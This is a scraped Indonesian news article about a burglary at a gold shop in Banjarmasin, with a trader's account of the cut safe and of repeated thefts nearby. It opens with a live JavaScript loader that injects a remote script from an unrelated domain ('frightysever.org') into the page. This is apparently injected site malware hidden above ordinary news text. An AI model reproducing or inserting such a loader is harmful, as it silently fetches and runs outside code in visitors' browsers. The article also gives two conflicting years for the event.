(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pasca pembobolan toko emas Ratna di jalan Sudimampir No 66D, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, pihak polisi belum mengungkap kronologis kejadian sebenarnya.
Sementara itu, tempat kejadian perkara (TKP) pencurian toko perhiasan Ratna hingga Rabu (18/5/2023) siang, masih tutup dengan garis polisi masih dipasang.
Kanalkalimantan.com mencoba menyusuri sekitar toko, tapi tidak ada satu pun kamera CCTV di sekitar toko atau yang mengarah ke toko mas Ratna.
Hal itu juga diungkapkan salah satu pedagang kain sasirangan yang bersebalahan dengan TKP pencurian. Bahkan sepengetahuannya toko mas Ratna dikatakannya tidak terdapat kamera CCTV.
“CCTVnya tidak ada di dalam,” kata Rusmila.
Baca juga: Temu Industri 2023, Pemprov Kalsel Tawarkan Investasi di 6 Kawasan Industri
Perempuan yang sudah berjualan sekitar 10 tahun tersebut mengakui, sering terjadi pencurian di sekitar toko jalan Sudimampir banjarmasin tersebut.
Padahal, dirinya bersama pedagang lain selalu membayar uang keamanan sebesar Rp 100 ribu per bulan. Namun, tindak pencurian kerap terjadi dan tidak ada yang bertanggung jawab.
“Rancak (sering) kejadian. Tidak lama kemarin toko jual daster, toko emas Rijaya situ dibongkarnya jua, tapi gagal membongkar brankasnya,” ucap Rusmila
Pedagang kain sasirangan ini menceritakan ketika si pemilik toko mas Ratna membuka toko pada Selasa (16/5/2022) pagi sekitar pukul 09.00 Wita, kaget melihat isi toko sudah berserakan.
“Katanya sih yang hilang berkilo-kilo emas, ada uang juga tapi tidak tau jumlahnya,” ungkap pedagang kain ini.
Baca juga: Wajib Halal 2024, Pelaku Usaha Dapat Daftarkan Sertifikat Halal di LPH BSPJI Banjarbaru
Dirinya mengaku menyaksikan langsung barang bukti brankas toko emas Ratna yang sudah dalam kondisi rusak bekas dipotong dengan alat pemotong besi.
“Digerindanya, saya lihat langsung barang buktinya, brankasnya dasar bekas digerinda,” ucap Rusmila.
Perempuan ini menduga kejadian pembobolan dilakukan malam hari. “Sepertinya lewat atas, kemungkinan pencurinya manjat lewat tangga besi itu,” tambahnya sambil menunjuk besi baliho di depan toko mas Ratna.
Meskipun begitu, pemilik toko mas Ratna yang tinggal di Kampung Gadang Banjarmasin masih belum dapat ditemui dan enggan memberikan komentar kepada awak media.
Pemilik toko sudah melapor secara resmi ke Polsek Banjarmasin Tengah dan petugas kepolisian sudah melakukan penyelidikan di TKP.
Hingga saat ini, Kanalkalikantan.com belum mendapatkan informasi resmi dari pihak kepolisian terkait perkembangan proses penyelidikan. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
This website uses cookies.